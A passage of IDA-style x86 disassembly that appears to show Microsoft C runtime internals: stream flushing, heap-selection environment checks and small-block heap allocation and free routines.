esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DCC60, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DBC48 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DCC60 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2680D15h cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26E0000h test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 28B0000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2670000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4A2217E8h dd 0A3C08502h, 4DCFC4h, 93E83674h, 83FFFFFEh, 0C8A303F8h dd 75004DCFh, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFC435FFh, 0FEE8004Dh dd 9002492Eh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFC4h dd 21BEE890h, 0C085023Ah, 4DCFBCA3h, 0C3017500h, 4244C8Bh dd 0CFB42583h, 8300004Dh, 4DCFB825h, 16A0000h, 4DCFB0A3h dd 0C00D8900h, 0C7004DCFh, 4DCFA805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DCFB8 lea ecx, [eax+eax*4] mov eax, dword_4DCFBC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DCFB4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DCFAC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DCFAC mov eax, dword_4DCFB4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DCFB4 mov ecx, dword_4DCFAC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DCFB4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DCFB4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DCFB4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DCFB4 push dword ptr [eax+10h] push 0 push dword_4DCFC4 nop call near ptr 27B0000h mov eax, dword_4DCFB8 mov edx, dword_4DCFBC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DCFB4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DCFB8 cmp eax, dword_4DCFB4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DCFBC mov dword_4DCFB0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DCFAC, edi mov dword_4DCFB4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DCFB8 mov edx, dword_4DCFBC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DCFB0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DCFB0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DCFB4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DCFAC jnz short loc_41E4C7 and dword_4DCFB4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DCFB8 mov ecx, dword_4DCFA8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DCFBC push edi push dword_4DCFC4 nop call near ptr 2860000h cmp eax, edi jz short loc_41E567 add dword_4DCFA8, 10h mov dword_4DCFBC, eax mov eax, dword_4DCFB8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DCFBC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DCFC4 lea esi, [ecx+eax*4] call near ptr 27C0000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 28C0868h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DCFC4 call near ptr 27B0000h nop loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DCFB8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28C0868h test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz 